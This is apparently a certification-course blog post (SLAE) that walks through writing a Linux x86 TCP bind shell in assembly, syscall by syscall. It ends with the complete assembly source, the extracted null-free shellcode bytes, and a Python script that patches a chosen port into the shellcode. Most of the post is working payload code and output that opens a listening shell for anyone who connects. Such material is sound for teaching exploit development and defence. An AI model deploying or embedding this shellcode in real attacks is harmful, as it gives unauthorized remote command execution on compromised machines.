Creating Custom TCP Bind Shell - Linux x86

11 minute read

Introduction

Bind TCP shell consist of three main components, one for setting up socket that includes socket(), bind(), listen(), and accept() functions. The second element is dup2() for file descriptors, and the last part is execve() which is used to spawn shell upon receiving a successful TCP connection. This post is an in depth analysis of those syscalls as well as their corresponding assembly code. The post will then conclude by tying all the pieces together to create working shellcode.

socket()

The socket() function is responsible for creating a communication medium using file descriptors and it consist of three arguments domain, type, and protocol as shown below.

int socket(int domain, int type, int protocol);

Domain argument specify the protocol family which will be used for communication, we will be dealing with IPv4 Internet protocols hence will use AF_INET. The second argument that we need to provide is type, type is responsible for selecting socket type which is SOCK_STREAM for TCP connections in our case. Protocol argument is used to specify what protocol can work with the socket, we only have single protocol so will go with 0. Now that we know what the function does let’s update it with our desired values.

int socket(int 2, int 1, int 0);

Let’s check socket syscall id on Linux x86 system EAX.

root@falafel:~# cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep socketcall
#define __NR_socketcall 102
root@falafel:~# 

Now we need to find the id for SOCK_STREAM.

root@falafel:~# cat /usr/include/i386-linux-gnu/bits/socket_type.h | grep SOCK_STREAM
  SOCK_STREAM = 1,		/* Sequenced, reliable, connection-based
#define SOCK_STREAM SOCK_STREAM
root@falafel:~# 

And AF_INET

root@falafel:~# cat /usr/include/i386-linux-gnu/bits/socket.h | grep _INET
#define PF_INET		2	/* IP protocol family.  */
#define PF_INET6	10	/* IP version 6.  */
#define AF_INET		PF_INET
#define AF_INET6	PF_INET6
root@falafel:~# 

Lastly, we need to figure out what system socket call function id is EBX.

root@falafel:~/Desktop# cat /usr/include/linux/net.h | grep SOCKET
 * NET		An implementation of the SOCKET network access protocol.
#define SYS_SOCKET	1		/* sys_socket(2)		*/
#define SYS_SOCKETPAIR	8		/* sys_socketpair(2)		*/
root@falafel:~/Desktop# 

Now that we have all the information we need, let’s start coding!

global _start

section .text

_start:
 
    ; zero out registers
    xor eax, eax 
    xor ebx, ebx
    xor edx, edx
    xor esi, esi

    ; 
    ; socket() code block
    ;

    ; push NULL for protocol type
    push eax

    ; __NR_socketcall 102
    mov al, 0x66

    ; #define SYS_SOCKET 1
    inc bl

    ; push 1 for SOCK_STREAM
    push byte 0x1

    ; push 2 for AF_INET
    push byte 0x2

    ; store arguments in ECX, ping kernel!
    mov ecx, esp
    int 0x80

bind()

The bind() function is used to bind an address to a socket, and it consist of three arguments sockfd, addr, and addrlen as shown below:

int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

sockfd points to the socket() to bind an address to, hence we need to save the content of EAX after socketcall interrupt in socket() to ESI. The second argument addr is basically where you assign an IP address to the socket, but wait there is more to it than just assigning an IP address, according to ip(7) manpage under address format section addr consist of three parts sin_family, sin_port, and sin_addr as shown below.

struct sockaddr_in {
               sa_family_t    sin_family; /* address family: AF_INET */
               in_port_t      sin_port;   /* port in network byte order */
               struct in_addr sin_addr;   /* internet address */
           };

Now sin_family is pretty self-explanatory so will go with AF_INET, which according to the first code block in socket() translates to 2. sin_port will be 2018 and needs to be pushed in network byte order big-endian, why you ask? Well, here’s quote from RFC1700.

*The convention in the documentation of Internet Protocols is to express numbers in decimal and to picture data in “big-endian” order [COHEN]. That is, fields are described left to right, with the most significant octet on the left and the least significant octet on the right. *

sin_addr on the other hand is were we actually put in an IP host address in network byte order, and since we want to listen on all interfaces will go with INADDR_ANY which translates to 0. The last argument would be addrlen which defines the size of addr in bytes. lets update bind() function.

int bind(int ESI, const struct sockaddr *<sin_family=2, sin_port=2018, sin_addr=0>, socklen_t 16);

Its time to find id for bind() function EBX.

root@falafel:~/Desktop# cat /usr/include/linux/net.h | grep BIND
#define SYS_BIND	2		/* sys_bind(2)			*/
root@falafel:~/Desktop#

Back to the terminal.

    ; 
    ; bind() code block
    ; 

    ; move sockfd to ESI
    mov esi, eax

    ; __NR_socketcall 102
    mov al, 0x66

    ; #define SYS_BIND 2
    pop ebx

    pop edi

    ; push NULL for sin_addr
    push edx

    ; push 2018 for sin_port
    push word 0xE207

    ; push 2 for sin_family
    push word bx

    ; push 16 for socketlen_t
    push byte 16

    ; store ESP pointer (sockaddr) in ECX
    push ecx

    ; push ESI for sockfd
    push esi

    ; save arguments pointer to ECX, ping kernel!
    mov ecx, esp
    int 0x80

listen()

listen() function allow for socket referred to by socket file descriptor to listen for incoming connections. The function have two arguments sockfd and backlog as shown below:

int listen(int sockfd, int backlog);

At this point I think we all know what socketfd does, hence will use EDX to point to socket(). The second argument backlog is where you store the maximum length of the queue for pending connections before it stop accepting new ones, in this case will use 1. Let’s update listen().

int listen(int EDX, int 1);

Next, we check listen() function id EBX.

root@falafel:~/Desktop# cat /usr/include/linux/net.h | grep LISTEN
#define SYS_LISTEN	4		/* sys_listen(2)		*/
root@falafel:~/Desktop# 

And the code.

    ; 
    ; listen() code block
    ;

    ; save sockfd in EDX
    pop edx

    ; __NR_socketcall 102
    mov al, 0x66

    ; #define SYS_LISTEN 4, ping kernel!
    add bl, 0x2
    int 0x80

accept()

accept() function is used to accept incoming connections for socket specified by sockfd. The function have three arguments which have already been covered in previous sections as shown below:

int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);

Now in accept() case addr and adrrlen is referring to the peer socket which we don’t care about, hence will go with 0. Let’s update accept().

int accept(int EDX, struct sockaddr NULL, socklen_t NULL;

Its time to check accept() function id EBX.

root@falafel:~/Desktop# cat /usr/include/linux/net.h | grep ACCEPT
#define SYS_ACCEPT 5 /* sys_accept(2) */
#define SYS_ACCEPT4 18 /* sys_accept4(2) */
#define __SO_ACCEPTCON (1 << 16) /* performed a listen */
root@falafel:~/Desktop#

Off to the terminal we go.

    ;
    ; accept() code block
    ;

    ; push NULL for addrlen
    push eax

    ; push NULL for addr
    push eax

    ; __NR_socketcall 102
    mov al, 0x66

    ; #define SYS_ACCEPT 5
    inc ebx

    ; push EDX for sockfd
    push edx

    ; save arguments pointer to ECX, ping kernel!
    mov ecx, esp
    int 0x80

dup2()

dup2() syscall is used to duplicate file descriptors and by file descriptors I mean stdin, stout, and stderr, and it consist of two arguments oldfd and newfd as shown below:

int dup2(int oldfd, int newfd);

oldfd is basically peer socket file descriptor, hence we will store EAX content in EBX from accept(). newfd is where we specify new file descriptors. Let’s update dup2().

int dup2(int EBX, int <0, 1, 2>);

Let’s get dup2() syscall id EAX.

root@falafel:~/Desktop# cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep dup2
#define __NR_dup2 63
root@falafel:~/Desktop# 

Coding we shall

    ;
    ;dup2() code block
    ; 

    ; store EAX in EBX for peer socketfd from accept()
    xchg eax, ebx

    ; reset ECX (counter register) for newfd loop
    xor ecx, ecx

    ; set counter to 2
    add cl, 0x2

    ; loop for stdin, stdout, and stderr
    ; syscall for __NR_dup2 63
    ; ping kernel 3 times!

dup:
    mov al, 0x3f
    int 0x80
    dec cl
    jns dup

execve()

execve() syscall basically execute a binary and/or script, and it consist of three arguments as shown below.

int execve(const char *filename, char *const argv[], char *const envp[]);

filename is the pointer to the binary to be executed /bin//sh in our case, now the reason we went with /bin//sh instead of usual /bin/sh is the fact we need to push 8 bytes without effecting the executable. The second argument argv[] is an array of arguments to be passed on to the binary as strings, the first argument must contain the address of executable in question argv[0]. The last argument envp[] is an array of strings to be passed on to executable environment, we’re not going to use any and will go with 0. Let’s update execve().

int execve(const char </bin/sh, NULL>, char *const <address of /bin/sh, NULL>, char *const <NULL>);

Let’s check execve() syscall id.

root@falafel:~# cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep execve
#define __NR_execve		 11
root@falafel:~# 

Some more code!

    ;
    ;execve() code block
    ;

    ; push NULL followed by "/bin//sh" for filename
    push eax
    push 0x68732f2f
    push 0x6e69622f

    ; store ESP pointer to "/bin//sh" in EBX
    mov ebx, esp

    ; save arguments pointer to ECX
    push eax
    mov edx, esp
    push ebx
    mov ecx, esp

    ;__NR_execve 11, ping kernel!
    mov al, 0xb
    int 0x80

Final Shellcode

In this section we will glue all of previous code blocks together as shown below and then produce our final working shellcode.

global _start

section .text

_start:
 
    ; zero out registers
    xor eax, eax 
    xor ebx, ebx
    xor edx, edx
    xor esi, esi

    ; 
    ; socket() code block
    ;

    ; push NULL for protocol type
    push eax

    ; __NR_socketcall 102
    mov al, 0x66

    ; #define SYS_SOCKET 1
    inc bl

    ; push 1 for SOCK_STREAM
    push byte 0x1

    ; push 2 for AF_INET
    push byte 0x2

    ; store arguments in ECX, ping kernel!
    mov ecx, esp
    int 0x80

    ; 
    ; bind() code block
    ; 

    ; move sockfd to ESI
    mov esi, eax

    ; __NR_socketcall 102
    mov al, 0x66

    ; #define SYS_BIND 2
    pop ebx

    pop edi

    ; push NULL for sin_addr
    push edx

    ; push 2018 for sin_port
    push word 0xE207

    ; push 2 for sin_family
    push word bx

    ; push 16 for socketlen_t
    push byte 16

    ; store ESP pointer (sockaddr) in ECX
    push ecx

    ; push ESI for sockfd
    push esi

    ; save arguments pointer to ECX, ping kernel!
    mov ecx, esp
    int 0x80

    ; 
    ; listen() code block
    ;

    ; save sockfd in EDX
    pop edx

    ; __NR_socketcall 102
    mov al, 0x66

    ; #define SYS_LISTEN 4, ping kernel!
    add bl, 0x2
    int 0x80

    ;
    ; accept() code block
    ;

    ; push NULL for addrlen
    push eax

    ; push NULL for addr
    push eax

    ; __NR_socketcall 102
    mov al, 0x66

    ; #define SYS_ACCEPT 5
    inc ebx

    ; push EDX for sockfd
    push edx

    ; save arguments pointer to ECX, ping kernel!
    mov ecx, esp
    int 0x80

    ;
    ;dup2() code block
    ; 

    ; store EAX in EBX for peer socketfd from accept()
    xchg eax, ebx

    ; reset ECX (counter register) for newfd loop
    xor ecx, ecx

    ; set counter to 2
    add cl, 0x2

    ; loop for stdin, stdout, and stderr
    ; syscall for __NR_dup2 63
    ; ping kernel 3 times!

dup:
    mov al, 0x3f
    int 0x80
    dec cl
    jns dup

    ;
    ;execve() code block
    ;

    ; push NULL followed by "/bin//sh" for filename
    push eax
    push 0x68732f2f
    push 0x6e69622f

    ; store ESP pointer to "/bin//sh" in EBX
    mov ebx, esp

    ; save arguments pointer to ECX
    push eax
    mov edx, esp
    push ebx
    mov ecx, esp

    ;__NR_execve 11, ping kernel!
    mov al, 0xb
    int 0x80

Here’s graphical representation of the final code for your convenience.

Its Demo Time! Let’s compile and run

Bind Shell Demo

Now that we know it works, let’s go ahead and generate shellcode and then create python script that takes port number as an input and add it to our shellcode.

ihack4falafel@falafel:~/Desktop# objdump -d ./BindShell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x31\xdb\x31\xd2\x31\xf6\x50\xb0\x66\xfe\xc3\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x5b\x5f\x52\x66\x68\x07\xe2\x66\x53\x6a\x10\x51\x56\x89\xe1\xcd\x80\x5a\xb0\x66\x80\xc3\x02\xcd\x80\x50\x50\xb0\x66\x43\x52\x89\xe1\xcd\x80\x93\x31\xc9\x80\xc1\x02\xb0\x3f\xcd\x80\xfe\xc9\x79\xf8\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
ihack4falafel@falafel:~/Desktop#

Here’s the script:

#!/usr/bin/python
#---------------------------------------------------------------------------------------------#
# Script        = BindShell.py                                                                #
# SLAE-ID       = SLAE-1115                                                                   #
# Description   = Custom Bind Shell with configurable port                                    #
# Date          = 1/12/2018                                                                   #
# Author        = @ihack4falafel                                                              #
# Usage         = python BindShell.py <port>                                                  #
#---------------------------------------------------------------------------------------------#

import sys

#---------------#---------#
W  = '\033[0m'  # White   #
P  = '\033[35m' # Purple  #
Y  = '\033[33m' # Yellow  #
#---------------#---------#

# Check port input
if len(sys.argv) < 2:
  print Y+ "Usage               :" + P+  " python BindShell.py <port>     " +W
  print Y+ "Example             :" + P+  " python BindShell.py 1337       " +W
  sys.exit(0)

port = int(sys.argv[1])

# Make sure port is good!
if port < 1 or port > 65535:
  print P+ "Please specify port number between 1 and 65535" +W
  exit()

if port <= 1024:
  print P+ "This port require root privileges!" +W

# Change port to Shellcode 
port_shellcode = format(port, '04x')
port_shellcode = "\\x" + str(port_shellcode[0:2]) + "\\x" + str(port_shellcode[2:4])  

# Print final Shellcode, and highlight port in yellow ;)
print P+ "\\x31\\xc0\\x31\\xdb\\x31\\xd2\\x31\\xf6\\x50\\xb0\\x66\\xfe\\xc3\\x6a\\x01\\x6a\\x02\\x89\\xe1\\xcd\\x80\\x89\\xc6\\xb0\\x66\\x5b\\x5f\\x52\\x66\\x68" + Y+ port_shellcode + P+ "\\x66\\x53\\x6a\\x10\\x51\\x56\\x89\\xe1\\xcd\\x80\\x5a\\xb0\\x66\\x80\\xc3\\x02\\xcd\\x80\\x50\\x50\\xb0\\x66\\x43\\x52\\x89\\xe1\\xcd\\x80\\x93\\x31\\xc9\\x80\\xc1\\x02\\xb0\\x3f\\xcd\\x80\\xfe\\xc9\\x79\\xf8\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x89\\xe2\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80" +W

Now running the script with port 2018 will output the exact same shellcode generated earlier!

ihack4falafel@falafel:~/Desktop# python BindShell.py 2018
[!] Pwntools does not support 32-bit Python.  Use a 64-bit release.
\x31\xc0\x31\xdb\x31\xd2\x31\xf6\x50\xb0\x66\xfe\xc3\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x5b\x5f\x52\x66\x68\x07\xe2\x66\x53\x6a\x10\x51\x56\x89\xe1\xcd\x80\x5a\xb0\x66\x80\xc3\x02\xcd\x80\x50\x50\xb0\x66\x43\x52\x89\xe1\xcd\x80\x93\x31\xc9\x80\xc1\x02\xb0\x3f\xcd\x80\xfe\xc9\x79\xf8\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80
ihack4falafel@falafel# 

Closing Thoughts

I most certainly picked up new skills writing this blog post and hope you did too! All of the above code is available on my github as shown in the link below. Feel free to contact me for questions via twitter @ihack4falafel . This post is one of many to come so stay tuned!

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-1115

GitHub Repo: https://github.com/ihack4falafel/SLAE32/tree/master/Assignment%201

Updated: